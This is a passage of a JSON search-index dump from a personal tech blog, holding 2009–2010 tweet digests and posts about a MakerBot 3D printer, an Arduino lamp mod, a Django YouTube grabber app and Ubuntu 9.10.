Meerkat Roofing\n\\t- The Protospace Blog\nAlso, my buddy Devin who I recently helped get his first Apache/MySQL/PHP/Wordpress server install going is using the Atahualpa Theme for his website, it truly is a great Wordpress theme for both advanced and beginners alike.\nYour Turn What do you all think of my redesign? Any suggestions? What Wordpress theme do you use?\n","link":"https://dawning.ca/posts/dawning-ca-spruced-up/","section":"posts","tags":["apache","ubuntu","linux","blog","calgary","wordpress","dawning.ca","update","design","theme","template","atahualpa","devin smith","skeptoid.ca","meerkatroofing.ca","columbia.ab.ca","PHP"],"title":"Dawning.ca Spruced Up"},{"body":"","link":"https://dawning.ca/tags/design/","section":"tags","tags":null,"title":"Design"},{"body":"","link":"https://dawning.ca/tags/devin-smith/","section":"tags","tags":null,"title":"Devin Smith"},{"body":"","link":"https://dawning.ca/tags/meerkatroofing.ca/","section":"tags","tags":null,"title":"Meerkatroofing.ca"},{"body":"","link":"https://dawning.ca/tags/skeptoid.ca/","section":"tags","tags":null,"title":"Skeptoid.ca"},{"body":"\\t- Working on my Django based scheduling web application.. Nice to make some new inroads on it. :) #\n\\t- Twitter Weekly Updates for 2010-01-04 #\n\\t- Twitter Weekly Updates for 2009-12-28 #\n\\t- Damn, I was as prepared as is possible, tried for 1hr 50mins straight to submit and pay for my SparkFun Free Day order, but it didn\u0026rsquo;t work #\n\\t- Wah, I\u0026rsquo;ve been ready since last night and ready the moment it opened, but looks unlikely I\u0026rsquo;ll get to place my sparkfun free day order #\n\\t- Trying to order for #SparkFunFreeDay - this is probably an innocent example of a denial of service attack #\n\\t- Waah, I\u0026rsquo;m tired of this stomach flu. My gf\u0026rsquo;s dad has the same thing, guessing our meal at Japanese Village may have been the source. #\n\\t- Ugh, I guess this is a good time to be sick.. What an annoying drain #\n\\t- Cami\\\u0026rsquo;s new hair http://twitti.ms/24MJ #\n\\t- Phew, lame little Wordpress Upgrade drama is over. It was actually easy to solve, but took forever to deal with slow FTP. Manual upgrade ftw #\n\\t- This host\u0026rsquo;s FTP service is turning an hour job in to a 5 hour job.. W00t 0.7KB/s transfers (looks for a noose) #\n\\t- Ugh, first time I\u0026rsquo;ve ever had a Wordpress Upgrade fail, obvious reminder: Don\u0026rsquo;t upgrade a client\u0026rsquo;s website in the middle of the day. #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2010-01-11-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2010-01-11"},{"body":"\\t- Working on my Django based scheduling web application.. Nice to make some new inroads on it. :) #\n\\t- Twitter Weekly Updates for 2010-01-04 #\n\\t- Twitter Weekly Updates for 2009-12-28 #\n\\t- Damn, I was as prepared as is possible, tried for 1hr 50mins straight to submit and pay for my SparkFun Free Day order, but it didn\u0026rsquo;t work #\n\\t- Wah, I\u0026rsquo;ve been ready since last night and ready the moment it opened, but looks unlikely I\u0026rsquo;ll get to place my sparkfun free day order #\n\\t- Trying to order for #SparkFunFreeDay - this is probably an innocent example of a denial of service attack #\n\\t- Waah, I\u0026rsquo;m tired of this stomach flu. My gf\u0026rsquo;s dad has the same thing, guessing our meal at Japanese Village may have been the source. #\n\\t- Ugh, I guess this is a good time to be sick.. What an annoying drain #\n\\t- Cami\\\u0026rsquo;s new hair http://twitti.ms/24MJ #\n\\t- Phew, lame little Wordpress Upgrade drama is over. It was actually easy to solve, but took forever to deal with slow FTP. Manual upgrade ftw #\n\\t- This host\u0026rsquo;s FTP service is turning an hour job in to a 5 hour job.. W00t 0.7KB/s transfers (looks for a noose) #\n\\t- Ugh, first time I\u0026rsquo;ve ever had a Wordpress Upgrade fail, obvious reminder: Don\u0026rsquo;t upgrade a client\u0026rsquo;s website in the middle of the day. #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2010-01-11/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2010-01-11"},{"body":"\\t- yumification under way http://twitti.ms/tjlF #\n\\t- Gearin up for a round at Japanese Village http://twitti.ms/v3Xh #\n\\t- Finally saw Avatar, was pretty good. Great story. #\n\\t- Wow, it\u0026rsquo;s amazing how massively my world changed since #10yearsago. Here\u0026rsquo;s to a rad next 10! #\n\\t- Havin a leakin 55g aquarium while being 300km away would suck harder if we didn\u0026rsquo;t have a Paurip towin the line #\n\\t- Blah, the Rogers website is down.. #\n\\t- Eatting handmade chocolates http://twitti.ms/tf26 #\n\\t- Best Christmas gift ever! Windermere Valley now has strong 3G service. Thanks #Rogers! AWESOME! #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2010-01-04/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2010-01-04"},{"body":"\\t- Twitter Weekly Updates for 2009-12-21 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-12-28/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-12-28"},{"body":"\\t- The Santa Party is up and running http://twitti.ms/c6v1 #\n\\t- I miss having a car.. Some jerk slashed my gf\u0026rsquo;s tires and she\u0026rsquo;s been borrowing my car ever since as she\u0026rsquo;s too busy. Lame #\n\\t- My late night round of Civ4 was stabbed in the spine by Windows Update. Meh Bed Time #\n\\t- Waah, the Sparkfun website appears down! #\n\\t- Arduino Soldering Workshop at #Protospace yesterday was a blast! Thanks gang! #\n\\t- Arduino kits for the #protospace workshop are ready! http://twitti.ms/UM60 #\n\\t- Arduino kits for the #protospace workshop are ready! http://twitti.ms/JjLp #\n\\t- Wow, VHS is really hanging on! http://twitti.ms/MgL6 #\n\\t- Twitter Weekly Updates for 2009-12-14 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-12-21-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-12-21"},{"body":"\\t- The Santa Party is up and running http://twitti.ms/c6v1 #\n\\t- I miss having a car.. Some jerk slashed my gf\u0026rsquo;s tires and she\u0026rsquo;s been borrowing my car ever since as she\u0026rsquo;s too busy. Lame #\n\\t- My late night round of Civ4 was stabbed in the spine by Windows Update. Meh Bed Time #\n\\t- Waah, the Sparkfun website appears down! #\n\\t- Arduino Soldering Workshop at #Protospace yesterday was a blast! Thanks gang! #\n\\t- Arduino kits for the #protospace workshop are ready! http://twitti.ms/UM60 #\n\\t- Arduino kits for the #protospace workshop are ready! http://twitti.ms/JjLp #\n\\t- Wow, VHS is really hanging on! http://twitti.ms/MgL6 #\n\\t- Twitter Weekly Updates for 2009-12-14 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-12-21/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-12-21"},{"body":"\\t- Wow, VHS is really hanging on! #\n\\t- Wow, VHS is really hanging on http://twitti.ms/MQv6 #\n\\t- It\u0026rsquo;s difficult being a perfectionist \u0026amp; happy when I obsess over imperfectable endeavours #\n\\t- What a beautiful #Wordpress website, took some effort to confirm it\u0026rsquo;s origin. Great subject matter too: http://www.lilithfair.com/ #\n\\t- Trying to decide if this oscilloscope is working http://twitti.ms/vS3J #\n\\t- Twitter Weekly Updates for 2009-12-07 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-12-14-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-12-14"},{"body":"\\t- Wow, VHS is really hanging on! #\n\\t- Wow, VHS is really hanging on http://twitti.ms/MQv6 #\n\\t- It\u0026rsquo;s difficult being a perfectionist \u0026amp; happy when I obsess over imperfectable endeavours #\n\\t- What a beautiful #Wordpress website, took some effort to confirm it\u0026rsquo;s origin. Great subject matter too: http://www.lilithfair.com/ #\n\\t- Trying to decide if this oscilloscope is working http://twitti.ms/vS3J #\n\\t- Twitter Weekly Updates for 2009-12-07 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-12-14/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-12-14"},{"body":"\\t- Retro Lamp goes HypnoOrb - /2009/retro-lamp-goes-hypnoorb/ #\n\\t- -16 Degrees.. Seriously? WTF? #\n\\t- finished another HypnoOrb project\u0026hellip; Will blog details later http://twitti.ms/cAY5 #\n\\t- Gearin up for another little HypnoOrb project http://twitti.ms/jykL #\n\\t- quirky hats in Mac Hall http://twitti.ms/YKmb #\n\\t- Twitter Weekly Updates for 2009-11-29 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-12-07-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-12-07"},{"body":"\\t- Retro Lamp goes HypnoOrb - /2009/retro-lamp-goes-hypnoorb/ #\n\\t- -16 Degrees.. Seriously? WTF? #\n\\t- finished another HypnoOrb project\u0026hellip; Will blog details later http://twitti.ms/cAY5 #\n\\t- Gearin up for another little HypnoOrb project http://twitti.ms/jykL #\n\\t- quirky hats in Mac Hall http://twitti.ms/YKmb #\n\\t- Twitter Weekly Updates for 2009-11-29 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-12-07/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-12-07"},{"body":"","link":"https://dawning.ca/tags/ambient/","section":"tags","tags":null,"title":"Ambient"},{"body":"","link":"https://dawning.ca/categories/arduino/","section":"categories","tags":null,"title":"Arduino"},{"body":"","link":"https://dawning.ca/tags/embed/","section":"tags","tags":null,"title":"Embed"},{"body":"","link":"https://dawning.ca/tags/freeduino/","section":"tags","tags":null,"title":"Freeduino"},{"body":"","link":"https://dawning.ca/tags/hack/","section":"tags","tags":null,"title":"Hack"},{"body":"","link":"https://dawning.ca/categories/hypnoorb/","section":"categories","tags":null,"title":"HypnoOrb"},{"body":"","link":"https://dawning.ca/tags/hypnoorb/","section":"tags","tags":null,"title":"HypnoOrb"},{"body":"","link":"https://dawning.ca/tags/mod/","section":"tags","tags":null,"title":"Mod"},{"body":"","link":"https://dawning.ca/tags/retro/","section":"tags","tags":null,"title":"Retro"},{"body":"Candice saved this hideous old lamp from a bulldozer (literally) and for the last year and a bit we\u0026rsquo;ve had it hanging up in our basement for extra ambient lighting. The light was setup only to be turned off/on by pulling/placing the plug and that part\u0026rsquo;s so sketch that we rarely use the thing. So when it came time to replace a bulb, I decided to use a HypnoOrb instead of a more typical bulb. ** **\nCheck out the Photos here.\nRetro Lamp HypnoOrb Tactful Controls New Lamp Guts Arduino Action Essentially what I did was very carefully solder wires on to the light socket and connected them to a power adapter. The power adapter was then connected in to one of my Arduino boards programmed with the HypnoOrb code, though slightly modified to respond a little nicer to the potentiometer input.\nI of course had to also hook up an RGB LED to the whole deal and I goofed with that for awhile. I ultimately decided to try using this whole setup with no resistors on the LEDs.\nNow, normally you should never do that as if you don\u0026rsquo;t limit the current through a diode with a resistor, you could (more like definitely will) burn out the LED. But I knew that for some reason with the Arduino that doesn\u0026rsquo;t seem to happen. Anyway, this time I opted to leave the resistor out for maximum brightness.\nA couple of hours, some solder and a TON of hot glue later, It\u0026rsquo;s all come together rather perfectly. Bamboo Skewers were key in providing a little needed structure and of course much electrical tape and some soldering filled in the gaps. I also added a little off-on switch and latched on a potentiometer to set varying speeds of operation.\nYou can Get the code from here.\nFor other HypnoOrb specific stuff, check out the project page here.\n","link":"https://dawning.ca/posts/retro-lamp-goes-hypnoorb/","section":"posts","tags":["arduino","freeduino","RGB LED","HypnoOrb","hack","mod","retro","lamp","embed","ambient"],"title":"Retro Lamp goes HypnoOrb"},{"body":"\\t- Grill bling! Whoa, now anyone can be \\\u0026lsquo;cool\\\u0026rsquo; http://twitti.ms/jl3u #\n\\t- Watching/Listening to a Sarah Mclachlan concert, Mirrorball I believe. Man, do I ever \u0026lt;3 Sarah Mclachlan\u0026rsquo;s tunes! #\n\\t- Dang, why would I lend my car out when I have a #protospace meeting.. Hmm.. Maybe I\u0026rsquo;ll take the train.. Gonna be late, crappy #\n\\t- My silly little web app to dump YouTube videos to my fileserver. Also provides links to mp4 versions of submitted vids: http://bit.ly/6VdItI #\n\\t- YouTube Grabber App #\n\\t- YouTube Grabber #\n\\t- Twitter Weekly Updates for 2009-11-23 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-11-29/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-11-29"},{"body":"","link":"https://dawning.ca/tags/django/","section":"tags","tags":null,"title":"Django"},{"body":"","link":"https://dawning.ca/tags/grab/","section":"tags","tags":null,"title":"Grab"},{"body":"","link":"https://dawning.ca/tags/python/","section":"tags","tags":null,"title":"Python"},{"body":"","link":"https://dawning.ca/tags/store/","section":"tags","tags":null,"title":"Store"},{"body":"","link":"https://dawning.ca/tags/youtube/","section":"tags","tags":null,"title":"Youtube"},{"body":"I\u0026rsquo;ve whipped up this little YouTube video grabber for myself and I\u0026rsquo;ve opened it up for the moment. If I see it getting spammed or abused in some way, I\u0026rsquo;ll probably password protect it, nevertheless, you can check it out here.\nWhat it does This little app takes a YouTube video link and then adds the reference in a database. A seperate script then polls that database and looks for new URLs. It then uses another script (that I did not write), called yt-download, to fetch each video and dump it to my fileserver.\nHow it does it I wrote this application using Django (and therefore Python). Django provides a lot of really helpful database abstraction along with various helpful tools for custom web administration of databases and tools for rapidly created very presentations.. I\u0026rsquo;m sure a true Django expert would say it\u0026rsquo;s even more yet.\nIn addition to Django, my little application runs on an Ubuntu Linux based webserver I run as a Virtual Machine.\nThe actual fetching of the videos is handled by a script I wrote that uses the Django database framework.. It\u0026rsquo;s just a few lines and is called by cron.\nWhat it can do for you Granted people don\u0026rsquo;t abuse this thing, I don\u0026rsquo;t mind them submitting videos for the purpose of getting at the mp4 links on the video pages. Of course you can also use it to point me to content that you think is awesome.\n","link":"https://dawning.ca/posts/youtube-grabber-app/","section":"posts","tags":["apache","ubuntu","linux","download","youtube","video","open source","grab","store","yt-download","django","python"],"title":"YouTube Grabber App"},{"body":"","link":"https://dawning.ca/tags/yt-download/","section":"tags","tags":null,"title":"Yt-Download"},{"body":"This is a web application I wrote to help me manage the YouTube videos I like most. Using this, I (or you) can dump in the address to a YouTube video. The system then stores that video info and automatically downloads the video in to a M4V file on to my fileserver. The result is that it\u0026rsquo;s easy for me to add a bunch of YouTube Videos to my file server and watch the content on all the cool things I have accessing my server content.\n","link":"https://dawning.ca/software/youtube/","section":"pages","tags":null,"title":"YouTube Grabber"},{"body":"\\t- Screwin around making something with Django, listenin to CBC Radio 2, chillin out in the tub. #\n\\t- Gonna hit RL level 26 in about 18 mins. Ahh birthdays. :D #\n\\t- Man, my energy is so vamped today\u0026hellip; #\n\\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 http://twitti.ms/7TKk #\n\\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 http://twitti.ms/ARYV #\n\\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 http://twitti.ms/Sjwz #\n\\t- Basys2 and FT232R breakout board used for ENEL 453 Lab 3 http://twitti.ms/2sIA #\n\\t- /cry I just lost 3 hours of code in a botched SVN commit.. How the frak in that even possible?! Really hating svn for the moment. #\n\\t- I just applied for convocation after winter! Now to see if my combined degrees customized program requirements confuses the registrar.. #\n\\t- Twitter Weekly Updates for 2009-11-16 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-11-23-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-11-23"},{"body":"\\t- Screwin around making something with Django, listenin to CBC Radio 2, chillin out in the tub. #\n\\t- Gonna hit RL level 26 in about 18 mins. Ahh birthdays. :D #\n\\t- Man, my energy is so vamped today\u0026hellip; #\n\\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 http://twitti.ms/7TKk #\n\\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 http://twitti.ms/ARYV #\n\\t- Basys2 FPGA dev and RT232R boards I used for ENEL453 Lab 3 http://twitti.ms/Sjwz #\n\\t- Basys2 and FT232R breakout board used for ENEL 453 Lab 3 http://twitti.ms/2sIA #\n\\t- /cry I just lost 3 hours of code in a botched SVN commit.. How the frak in that even possible?! Really hating svn for the moment. #\n\\t- I just applied for convocation after winter! Now to see if my combined degrees customized program requirements confuses the registrar.. #\n\\t- Twitter Weekly Updates for 2009-11-16 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-11-23/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-11-23"},{"body":"\\t- Finished another FPGA lab, from my aquatic desk! http://twitti.ms/Kz5H #\n\\t- Listening to CBC Radio 2, great workin tunes: http://bit.ly/4q1YBF #\n\\t- Fixing up my Subversion server, though wondering if I should be looking closer in to git. Any thoughts world? #\n\\t- Have I mentioned that IE is a horrible piece of garbage? If you\u0026rsquo;re still using it, stop \u0026amp; use something standardized: http://bit.ly/a2k87 #\n\\t- Are you aware we\u0026rsquo;ve already crossed the event horizon of this cognitive black hole? Stop comparing TCP and Coax in terms of \u0026lsquo;speed\u0026rsquo;. #\n\\t- I wish \u0026ldquo;reading days\u0026rdquo; was like a week longer than it is.. Then again, that\u0026rsquo;d be putting off graduation! #\n\\t- Hah, of course just when I hunker down to work, my file server starts freaking. Go\u0026rsquo;ram Samba/ReiserFS/LVM.. Hope this fsck works some magic! #\n\\t- Twitter Weekly Updates for 2009-11-09 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-11-16/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-11-16"},{"body":"\\t- Willow the kitty http://twitti.ms/Wqip #\n\\t- Printing a whistle, going rather well: http://bit.ly/127uhb #Makerbot #\n\\t- Whoa, first time I actually had caps blow on me http://twitti.ms/Utr7 #\n\\t- About time, I\u0026rsquo;m just printed a box with my #MakerBot.. I\u0026rsquo;m doing another, check it out: http://bit.ly/127uhb #\n\\t- MakerBot #155 printing a box, this time, it\u0026rsquo;s looking like it\u0026rsquo;s gonna make it! (Broadcasting live at http://ustre.am/7tH7) #\n\\t- Jasper home from tooth surgery\u0026hellip; Very high on drugs, lots of purring http://twitti.ms/6dvh #\n\\t- The #Arduino order for #protospace finally arived! http://twitti.ms/dyN0 #\n\\t- Hilarious site mocking/worshipping stupid food options: http://thisiswhyyourefat.com/ #\n\\t- Yes, I can still solve this by hand http://bit.ly/3wU4qb but this isn\u0026rsquo;t a damn multivariable calculus course, this is what computers are for #\n\\t- Be careful, Fluffy the cat may eat your face http://twitti.ms/MuiP #\n\\t- I found a dead mouse on my way home. It was delicious! http://twitti.ms/lBqn #\n\\t- Poor littl\u0026rsquo; pwned cpu http://twitti.ms/l1Ed #\n\\t- Dang, my bike tire died.. Okay legs, I guess it\u0026rsquo;s just me and you #\n\\t- The icing monster kissed me! http://twitti.ms/gFL0 #\n\\t- 200 Farads in this little thing! whoa! http://twitti.ms/I1ks #\n\\t- Mmm vending machine candy, gawk.. http://twitti.ms/PE5Z #\n\\t- My bro sporting his hallpween tattoo http://twitti.ms/4Oop #\n\\t- Twitter Weekly Updates for 2009-11-02 #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-11-09/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-11-09"},{"body":"\\t- procrastinating via experimenting with distcc - very cool tool, though doing cross-platform builds seems sort of complicated. #\n\\t- Ubuntu 9.10 is here. Check out my pseudo review here: http://bit.ly/1rl7RW #\n\\t- Successfully printing a box on my MakerBot, check it out! (Broadcasting live at http://ustre.am/7tH7) #\n\\t- MakerBot #155 is back online! Now back to where I was, getting my head around printing.. #\n\\t- After some helpful input from Zach, king of #Makerbots, I\u0026rsquo;m proceeding to alter my Plastruder, hopefully back to a functional state #\n\\t- Video of my #MakerBot Fail: http://bit.ly/PGvkR #\n\\t- MakerBot Plastruder Crash #\n\\t- Since I\u0026rsquo;ve sufficiently screwed my MakerBot, I\u0026rsquo;m realizing I can\u0026rsquo;t go back, I can\u0026rsquo;t live without it - It MUST be fixed! #\n\\t- MakerBot Printing Broadcast started! Check out the printing of some 3D plastic objects! (Broadcasting live at http://ustre.am/7tH7) #\n\\t- Wow, my attempt to make use of this USB mic on Windows 7 is a special kind of masochism #\n\\t- Okay, new #MakerBot print ustream coming up in a few mins, I\u0026rsquo;m pretty well ready now.. #\n\\t- I guess I\u0026rsquo;m gonna have to delay my MakerBot broadcast - roomies watching TV in same room as my nerdery now.. #\n\\t- Still preping for MakerBot build ustream, tried to get an old Intel Webcam to join the fun, old web cams totally suck #\n\\t- Preping my #MakerBot for another print - I\u0026rsquo;ll ustream it too - ETA ~10mins #\n\\t- The printing of the base is underway! (Broadcasting live at http://ustre.am/2Y7p) #\n\\t- Print of Shotglass via Makerbot is underway! (Broadcasting live at http://ustre.am/2Y7p) #\n\\t- Printing of shotglass to commense in a few mins (Broadcasting live at http://ustre.am/2Y7p) #\n\\t- Getting ready for another ustream broadcast for #MakerBot printing of: http://bit.ly/3Ag413 #\n\\t- Thanks to those who watched my stream of my MakerBot in action, it was messy and weird, but for an initial run, it went well! #\n\\t- Broadcasting live now! See me at http://bit.ly/127uhb #\n\\t- MakerBot Number 155 is rocking out! (Broadcasting live at http://ustre.am/7tH7) #\n\\t- MakerBot Testing - 3D printing at home! (Broadcasting live at http://ustre.am/2Y7p) #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-11-02-2/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-11-02"},{"body":"\\t- procrastinating via experimenting with distcc - very cool tool, though doing cross-platform builds seems sort of complicated. #\n\\t- Ubuntu 9.10 is here. Check out my pseudo review here: http://bit.ly/1rl7RW #\n\\t- Successfully printing a box on my MakerBot, check it out! (Broadcasting live at http://ustre.am/7tH7) #\n\\t- MakerBot #155 is back online! Now back to where I was, getting my head around printing.. #\n\\t- After some helpful input from Zach, king of #Makerbots, I\u0026rsquo;m proceeding to alter my Plastruder, hopefully back to a functional state #\n\\t- Video of my #MakerBot Fail: http://bit.ly/PGvkR #\n\\t- MakerBot Plastruder Crash #\n\\t- Since I\u0026rsquo;ve sufficiently screwed my MakerBot, I\u0026rsquo;m realizing I can\u0026rsquo;t go back, I can\u0026rsquo;t live without it - It MUST be fixed! #\n\\t- MakerBot Printing Broadcast started! Check out the printing of some 3D plastic objects! (Broadcasting live at http://ustre.am/7tH7) #\n\\t- Wow, my attempt to make use of this USB mic on Windows 7 is a special kind of masochism #\n\\t- Okay, new #MakerBot print ustream coming up in a few mins, I\u0026rsquo;m pretty well ready now.. #\n\\t- I guess I\u0026rsquo;m gonna have to delay my MakerBot broadcast - roomies watching TV in same room as my nerdery now.. #\n\\t- Still preping for MakerBot build ustream, tried to get an old Intel Webcam to join the fun, old web cams totally suck #\n\\t- Preping my #MakerBot for another print - I\u0026rsquo;ll ustream it too - ETA ~10mins #\n\\t- The printing of the base is underway! (Broadcasting live at http://ustre.am/2Y7p) #\n\\t- Print of Shotglass via Makerbot is underway! (Broadcasting live at http://ustre.am/2Y7p) #\n\\t- Printing of shotglass to commense in a few mins (Broadcasting live at http://ustre.am/2Y7p) #\n\\t- Getting ready for another ustream broadcast for #MakerBot printing of: http://bit.ly/3Ag413 #\n\\t- Thanks to those who watched my stream of my MakerBot in action, it was messy and weird, but for an initial run, it went well! #\n\\t- Broadcasting live now! See me at http://bit.ly/127uhb #\n\\t- MakerBot Number 155 is rocking out! (Broadcasting live at http://ustre.am/7tH7) #\n\\t- MakerBot Testing - 3D printing at home! (Broadcasting live at http://ustre.am/2Y7p) #\n","link":"https://dawning.ca/posts/twitter-weekly-updates-for-2009-11-02/","section":"posts","tags":["tweets","twitter","noise"],"title":"Twitter Weekly Updates for 2009-11-02"},{"body":"Here\u0026rsquo;s a youtube video I found that shows off some of the more visual aspects of 9.10\nIn case you haven\u0026rsquo;t heard, the latest release of Ubuntu 9.10 is out. This outstanding Open Source Operating System continues to refine and polish itself. I\u0026rsquo;ve been using the development/beta version for about a month now and I\u0026rsquo;ve found it to run very very nicely. Anyone not sure about giving it a go, it\u0026rsquo;s free, it\u0026rsquo;s awesome and you can run it without altering your computer. It\u0026rsquo;s also as easy as installing a Windows Application.\nUsing it on Macs I\u0026rsquo;ve been using Ubuntu mostly on a Mac Pro and on a Macbook - it runs fantastically on both. The Mac Pro has always run Ubuntu fantastically. However, when 9.04 was released something changed with the Intel video support that made it run terribly on my Macbook. I\u0026rsquo;m delighted to report that 9.10 seems to have resolved that issue out of the box. Also, I\u0026rsquo;m totally thrilled that I could get my two finger right-click function working on 9.10 through a simple gui tool. This tool also let me enable two finger scrolling. Polish This version of Ubuntu seems more professional to me than previous versions. Granted previous versions have been fantastic. The polish of this version has to do with more consistent artwork, graceful user notification of system messages, mature professional wallpapers and of course the list goes on and on. I\u0026rsquo;m also happy to see several improvements with configuration tools and other areas.\nGetting Curious? If you\u0026rsquo;re getting curious, you can download Ubuntu (disk images that you have to burn) freely from their website. If you\u0026rsquo;re interested in trying it out without changing your computer at all, they have several easy means for you to do this. Check out the documentation on their website if you\u0026rsquo;re feeling like having extra support with that.\n","link":"https://dawning.ca/posts/ubuntu-9-10-has-landed/","section":"posts","tags":null,"title":"Ubuntu 9.10 has landed!"},{"body":"","link":"https://dawning.ca/tags/accident/","section":"tags","tags":null,"title":"Accident"},{"body":"","link":"https://dawning.ca/tags/cnc/","section":"tags","tags":null,"title":"Cnc"},{"body":"","link":"https://dawning.ca/tags/crash/","section":"tags","tags":null,"title":"Crash"},{"body":"","link":"https://dawning.ca/tags/fail/","section":"tags","tags":null,"title":"Fail"},{"body":"","link":"https://dawning.ca/tags/heater-barrel/","section":"tags","tags":null,"title":"Heater Barrel"},{"body":"","link":"https://dawning.ca/tags/insulator-barrel/","section":"tags","tags":null,"title":"Insulator Barrel"},{"body":"While trying to print something on my MakerBot last night, I had an awesome fail where the heater barrel of the plastruder was ripped out. Upon continued reflection, I think this was the product of how I had the heater barrel interfaced with the insulator barrel and I think I know how to fix it without replacing parts. Check out the video below:\n","link":"https://dawning.ca/posts/makerbot-plastruder-crash/","section":"posts","tags":["crash","plastruder","MakerBot","cnc","cupcake","fail","heater barrel","insulator barrel","accident","smash"],"title":"MakerBot Plastruder Crash"},{"body":"","link":"https://dawning.ca/categories/my-videos/","section":"categories","tags":null,"title":"My Videos"},{"body":"","link":"https://dawning.ca/tags/plastruder/","section":"tags","tags":null,"title":"Plastruder"},{"body":"","link":"https://dawning.ca/tags/smash/","section":"tags","tags":null,"title":"Smash"},{"body":"","link":"https://dawning.ca/tags/embedded-system/","section":"tags","tags":null,"title":"Embedded System"},{"body":"","link":"https://dawning.ca/tags/hobby/","section":"tags","tags":null,"title":"Hobby"},{"body":"Hello world, so I\u0026rsquo;ve been working very hard at getting my most awesome MakerBot working. It\u0026rsquo;s been a patience invoking venture and also extremely educational. The MakerBot employs some rather brilliant little tricks that make it simple, strong and friggin cheap. It\u0026rsquo;s a great gadget to have, though it\u0026rsquo;s definitely NOT for those who want everything now and aren\u0026rsquo;t capable of taking their time to do the job correctly.\nMeet My Mod So, in trying to get my MakerBot rockin, I\u0026rsquo;ve had to debug some stuff in my assembly. The instructions given on assembly are outstanding considering how much stuff you need to do to build one. That said, they\u0026rsquo;re not flawlessly exhaustive either - and this isn\u0026rsquo;t yet an exact science. I found myself frustrated by the positioning of the circuit board (I\u0026rsquo;ll just call it a PCB for now) positioned on the thing that outputs the plastic (Plastruder/RepRap). As you can see in my included photos, I\u0026rsquo;ve moved the PCB off to the side and flipped it behind the Plastruder.\nYes, it\u0026rsquo;s awesome So as you can probably tell I love this mod because now I can quite easily see the plastic as it moves through. I can see little (or rather massive) teeth marks in the plastic due to contact with the gear on the motor that pulls it through.. So I can watch those marks move down in to the heater barrel - this has been helpful for me in trying to decide if some other printing problems I\u0026rsquo;ve been having have been due to any of a number of factors that no long include questioning if it\u0026rsquo;s actually feeding in more plastic..\nWanna see more? You can check out more of this stuff here\n","link":"https://dawning.ca/posts/makerbot-plastruder-mod/","section":"posts","tags":["arduino","diy","open source","reprap","plastruder","MakerBot","mod","plastic","hobby","embedded system","awesome","cnc"],"title":"MakerBot Plastruder Modified For Slightly Enhanced Awesomeness"},{"body":"","link":"https://dawning.ca/tags/plastic/","section":"tags","tags":null,"title":"Plastic"},{"body":"Cupcake155 is my first 3D printer. I bought the kit new, back in 2009; when home 3D printing was especially new. Mine is the 155th Makerbot. Originally it barely worked and I gave up on it entirely for years. It\u0026rsquo;s now a bit of a unique combination of parts and works reasonably well. It\u0026rsquo;s currently helping me bootstrap two new printers I\u0026rsquo;m working on.\nRelevant Links My preferred RAMBo board\nI adapted an MK8 Extruder, from here specifically.\nMarlin Firmware Files on Github\nOctorprint for Raspberry Pi\nIlluminatrix; print-aware lighting system of champions\nHackaday.io\nLive Stream I don\u0026rsquo;t always print, but when I do, I stream here\nMy (Psychotic) Episodes [subpages]\n","link":"https://dawning.ca/printing/cupcake155/","section":"pages","tags":null,"title":"Cupcake155"},{"body":"\\t- I feel like picard on the Stargazer. I\u0026rsquo;m using my old glasses as my main ones just bit it. Weird. #\n\\t- There, now this machine can do its job without offending ears http://twitti.ms/2spi #\n\\t- Like my P4 mod? It let me turn an acoustic nightmare into something beautiful http://twitti.ms/d2rq #\n\\t- Hard hackers unite, #Digilent has some awesome embedded systems for all #diy phreaks: http://bit.ly/45w2qM #\n\\t- I feel discriminated against.. #yyc http://twitti.ms/0oDp #\n\\t- Meh, that can be cured with old fashioned physical abuse, right? http://twitti.ms/tj16 #\n\\t- yay, stats http://twitti.ms/qdvY #\n\\t- My hairs have been cut http://twitti.ms/z3Rm #\n\\t- UofC Bookstore FTW #yyc http://twitti.ms/fFEG #\n\\t- Tim\u0026rsquo;s line-ups seem to indicate that they spike the coffee #yyc 